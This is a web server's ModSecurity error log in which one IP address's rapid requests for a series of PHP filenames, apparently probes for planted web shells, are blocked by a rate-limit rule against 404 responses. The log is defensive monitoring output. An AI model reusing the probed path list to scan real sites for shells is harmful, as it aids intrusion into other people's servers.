[Sun Jan 04 22:13:08.954151 2026] [:error] [pid 48724:tid 48731] [client 4.241.234.12:15558] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l.php"] [unique_id "aVp1dPh_mrvb5g4XJ_uc5AAAAYE"]
[Sun Jan 04 22:13:11.831057 2026] [:error] [pid 30985:tid 31037] [client 4.241.234.12:15501] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l.php"] [unique_id "aVp1d0isiM0XfzVcTWC0NAAAAdc"]
[Sun Jan 04 22:13:17.988642 2026] [:error] [pid 45949:tid 45974] [client 4.241.234.12:15559] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l.php"] [unique_id "aVp1faWUhIYCdxgkhpBPuAAAAhQ"]
[Sun Jan 04 22:13:22.185507 2026] [:error] [pid 37165:tid 37199] [client 4.241.234.12:15522] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Eva.php"] [unique_id "aVp1glwRLzfe8wOrQpRjaQAAAkA"]
[Sun Jan 04 22:13:22.999061 2026] [:error] [pid 37165:tid 37222] [client 4.241.234.12:15428] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Eva.php"] [unique_id "aVp1glwRLzfe8wOrQpRjbAAAAlc"]
[Sun Jan 04 22:13:23.532562 2026] [:error] [pid 30985:tid 31032] [client 4.241.234.12:17417] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Eva.php"] [unique_id "aVp1g0isiM0XfzVcTWC0PQAAAdI"]
[Sun Jan 04 22:13:23.995192 2026] [:error] [pid 37165:tid 37222] [client 4.241.234.12:15523] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Eva.php"] [unique_id "aVp1g1wRLzfe8wOrQpRjbwAAAlc"]
[Sun Jan 04 22:13:24.334937 2026] [:error] [pid 30985:tid 31037] [client 4.241.234.12:15606] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dop.php"] [unique_id "aVp1hEisiM0XfzVcTWC0QAAAAdc"]
[Sun Jan 04 22:13:24.794455 2026] [:error] [pid 37165:tid 37199] [client 4.241.234.12:15569] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dop.php"] [unique_id "aVp1hFwRLzfe8wOrQpRjcwAAAkA"]
[Sun Jan 04 22:13:25.755179 2026] [:error] [pid 43583:tid 43613] [client 4.241.234.12:15437] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dop.php"] [unique_id "aVp1heZbrSRUiJ-RX9ZB8QAAAVg"]
[Sun Jan 04 22:13:26.825594 2026] [:error] [pid 43583:tid 43613] [client 4.241.234.12:15534] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dop.php"] [unique_id "aVp1huZbrSRUiJ-RX9ZB9gAAAVg"]
[Sun Jan 04 22:13:27.691369 2026] [:error] [pid 43583:tid 43599] [client 4.241.234.12:15600] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ula.php"] [unique_id "aVp1h-ZbrSRUiJ-RX9ZB-gAAAUo"]
[Sun Jan 04 22:13:28.490080 2026] [:error] [pid 43583:tid 43599] [client 4.241.234.12:17459] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ula.php"] [unique_id "aVp1iOZbrSRUiJ-RX9ZB_QAAAUo"]
[Sun Jan 04 22:13:29.099730 2026] [:error] [pid 43583:tid 43613] [client 4.241.234.12:15603] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ula.php"] [unique_id "aVp1ieZbrSRUiJ-RX9ZCAQAAAVg"]
[Sun Jan 04 22:13:29.982070 2026] [:error] [pid 43583:tid 43613] [client 4.241.234.12:15535] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ula.php"] [unique_id "aVp1ieZbrSRUiJ-RX9ZCBwAAAVg"]
[Sun Jan 04 22:13:30.507421 2026] [:error] [pid 43583:tid 43592] [client 4.241.234.12:15455] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3.php"] [unique_id "aVp1iuZbrSRUiJ-RX9ZCCQAAAUM"]
[Sun Jan 04 22:13:31.861377 2026] [:error] [pid 43583:tid 43596] [client 4.241.234.12:17444] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3.php"] [unique_id "aVp1i-ZbrSRUiJ-RX9ZCEwAAAUc"]
[Sun Jan 04 22:13:32.533130 2026] [:error] [pid 37165:tid 37199] [client 4.241.234.12:15496] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3.php"] [unique_id "aVp1jFwRLzfe8wOrQpRjewAAAkA"]
[Sun Jan 04 22:13:33.570699 2026] [:error] [pid 43583:tid 43592] [client 4.241.234.12:17506] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3.php"] [unique_id "aVp1jeZbrSRUiJ-RX9ZCGwAAAUM"]
[Sun Jan 04 22:13:33.870467 2026] [:error] [pid 37165:tid 37221] [client 4.241.234.12:15568] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/card.php"] [unique_id "aVp1jVwRLzfe8wOrQpRjfgAAAlY"]
[Sun Jan 04 22:13:34.233999 2026] [:error] [pid 43583:tid 43613] [client 4.241.234.12:15490] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/card.php"] [unique_id "aVp1juZbrSRUiJ-RX9ZCHQAAAVg"]
[Sun Jan 04 22:13:34.814569 2026] [:error] [pid 43583:tid 43596] [client 4.241.234.12:15506] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/card.php"] [unique_id "aVp1juZbrSRUiJ-RX9ZCIQAAAUc"]
[Sun Jan 04 22:13:35.100190 2026] [:error] [pid 37165:tid 37212] [client 4.241.234.12:15610] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/card.php"] [unique_id "aVp1j1wRLzfe8wOrQpRjhAAAAk0"]
[Sun Jan 04 22:13:35.424979 2026] [:error] [pid 37165:tid 37199] [client 4.241.234.12:15532] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hum.php"] [unique_id "aVp1j1wRLzfe8wOrQpRjhQAAAkA"]
[Sun Jan 04 22:13:35.730133 2026] [:error] [pid 37165:tid 37219] [client 4.241.234.12:15442] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hum.php"] [unique_id "aVp1j1wRLzfe8wOrQpRjiAAAAlQ"]
[Sun Jan 04 22:13:36.019879 2026] [:error] [pid 43583:tid 43599] [client 4.241.234.12:15438] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hum.php"] [unique_id "aVp1kOZbrSRUiJ-RX9ZCKgAAAUo"]
[Sun Jan 04 22:13:36.455160 2026] [:error] [pid 43583:tid 43592] [client 4.241.234.12:15456] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hum.php"] [unique_id "aVp1kOZbrSRUiJ-RX9ZCLgAAAUM"]
[Sun Jan 04 22:13:36.828485 2026] [:error] [pid 37165:tid 37219] [client 4.241.234.12:15570] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bq.php"] [unique_id "aVp1kFwRLzfe8wOrQpRjkAAAAlQ"]
[Sun Jan 04 22:13:37.450451 2026] [:error] [pid 43583:tid 43596] [client 4.241.234.12:15449] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bq.php"] [unique_id "aVp1keZbrSRUiJ-RX9ZCNAAAAUc"]
[Sun Jan 04 22:13:40.021117 2026] [:error] [pid 43583:tid 43599] [client 4.241.234.12:17489] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bq.php"] [unique_id "aVp1lOZbrSRUiJ-RX9ZCNgAAAUo"]
[Sun Jan 04 22:13:40.846781 2026] [:error] [pid 43583:tid 43599] [client 4.241.234.12:17488] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bq.php"] [unique_id "aVp1lOZbrSRUiJ-RX9ZCOAAAAUo"]
[Sun Jan 04 22:13:41.299075 2026] [:error] [pid 37165:tid 37212] [client 4.241.234.12:15520] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-xm.php"] [unique_id "aVp1lVwRLzfe8wOrQpRjlwAAAk0"]
[Sun Jan 04 22:13:41.595587 2026] [:error] [pid 37165:tid 37212] [client 4.241.234.12:15508] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-xm.php"] [unique_id "aVp1lVwRLzfe8wOrQpRjmQAAAk0"]
[Sun Jan 04 22:13:42.454029 2026] [:error] [pid 43583:tid 43599] [client 4.241.234.12:17464] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-xm.php"] [unique_id "aVp1luZbrSRUiJ-RX9ZCOwAAAUo"]
[Sun Jan 04 22:13:44.760397 2026] [:error] [pid 37165:tid 37207] [client 4.241.234.12:15615] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-xm.php"] [unique_id "aVp1mFwRLzfe8wOrQpRjowAAAkg"]
[Sun Jan 04 22:13:45.161306 2026] [:error] [pid 42666:tid 42709] [client 4.241.234.12:15588] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n1.php"] [unique_id "aVp1mfc221c7vwWrOjcU5QAAAww"]
[Sun Jan 04 22:13:45.421517 2026] [:error] [pid 43583:tid 43599] [client 4.241.234.12:15537] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n1.php"] [unique_id "aVp1meZbrSRUiJ-RX9ZCQAAAAUo"]
[Sun Jan 04 22:13:45.974847 2026] [:error] [pid 43583:tid 43599] [client 4.241.234.12:15435] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n1.php"] [unique_id "aVp1meZbrSRUiJ-RX9ZCQQAAAUo"]
[Sun Jan 04 22:13:46.343489 2026] [:error] [pid 37165:tid 37212] [client 4.241.234.12:15589] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n1.php"] [unique_id "aVp1mlwRLzfe8wOrQpRjqwAAAk0"]
[Sun Jan 04 22:13:46.634659 2026] [:error] [pid 37165:tid 37204] [client 4.241.234.12:17470] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/73106.php"] [unique_id "aVp1mlwRLzfe8wOrQpRjrQAAAkU"]
[Sun Jan 04 22:13:46.969486 2026] [:error] [pid 37165:tid 37207] [client 4.241.234.12:15493] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/73106.php"] [unique_id "aVp1mlwRLzfe8wOrQpRjrgAAAkg"]
[Sun Jan 04 22:13:47.232248 2026] [:error] [pid 30985:tid 31016] [client 4.241.234.12:15538] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/73106.php"] [unique_id "aVp1m0isiM0XfzVcTWC0VQAAAcI"]
[Sun Jan 04 22:13:47.552778 2026] [:error] [pid 37165:tid 37214] [client 4.241.234.12:15514] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/73106.php"] [unique_id "aVp1m1wRLzfe8wOrQpRjrwAAAk8"]
[Sun Jan 04 22:13:47.866218 2026] [:error] [pid 37165:tid 37207] [client 4.241.234.12:15598] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dom.php"] [unique_id "aVp1m1wRLzfe8wOrQpRjswAAAkg"]
[Sun Jan 04 22:13:48.170476 2026] [:error] [pid 30985:tid 31037] [client 4.241.234.12:17502] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dom.php"] [unique_id "aVp1nEisiM0XfzVcTWC0VwAAAdc"]
[Sun Jan 04 22:13:48.520470 2026] [:error] [pid 30985:tid 31037] [client 4.241.234.12:15503] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dom.php"] [unique_id "aVp1nEisiM0XfzVcTWC0WgAAAdc"]
[Sun Jan 04 22:13:48.892240 2026] [:error] [pid 30985:tid 31023] [client 4.241.234.12:15605] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dom.php"] [unique_id "aVp1nEisiM0XfzVcTWC0XAAAAck"]
[Sun Jan 04 22:13:49.227150 2026] [:error] [pid 37165:tid 37214] [client 4.241.234.12:15430] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aVp1nVwRLzfe8wOrQpRjtAAAAk8"]
[Sun Jan 04 22:13:49.498107 2026] [:error] [pid 37165:tid 37219] [client 4.241.234.12:15531] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aVp1nVwRLzfe8wOrQpRjtQAAAlQ"]
[Sun Jan 04 22:13:49.871478 2026] [:error] [pid 37165:tid 37212] [client 4.241.234.12:17458] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aVp1nVwRLzfe8wOrQpRjtwAAAk0"]
[Sun Jan 04 22:13:50.213168 2026] [:error] [pid 37165:tid 37219] [client 4.241.234.12:15388] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aVp1nlwRLzfe8wOrQpRjuQAAAlQ"]
[Sun Jan 04 22:13:50.566619 2026] [:error] [pid 43583:tid 43592] [client 4.241.234.12:15427] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1254.php"] [unique_id "aVp1nuZbrSRUiJ-RX9ZCRgAAAUM"]
[Sun Jan 04 22:13:50.895520 2026] [:error] [pid 37165:tid 37219] [client 4.241.234.12:15524] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1254.php"] [unique_id "aVp1nlwRLzfe8wOrQpRjuwAAAlQ"]
[Sun Jan 04 22:13:51.311461 2026] [:error] [pid 37165:tid 37212] [client 4.241.234.12:15608] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1254.php"] [unique_id "aVp1n1wRLzfe8wOrQpRjvAAAAk0"]
[Sun Jan 04 22:13:51.774561 2026] [:error] [pid 43583:tid 43596] [client 4.241.234.12:15526] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1254.php"] [unique_id "aVp1n-ZbrSRUiJ-RX9ZCSgAAAUc"]
[Sun Jan 04 22:13:52.121518 2026] [:error] [pid 30985:tid 31023] [client 4.241.234.12:15609] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gib.php"] [unique_id "aVp1oEisiM0XfzVcTWC0ZAAAAck"]
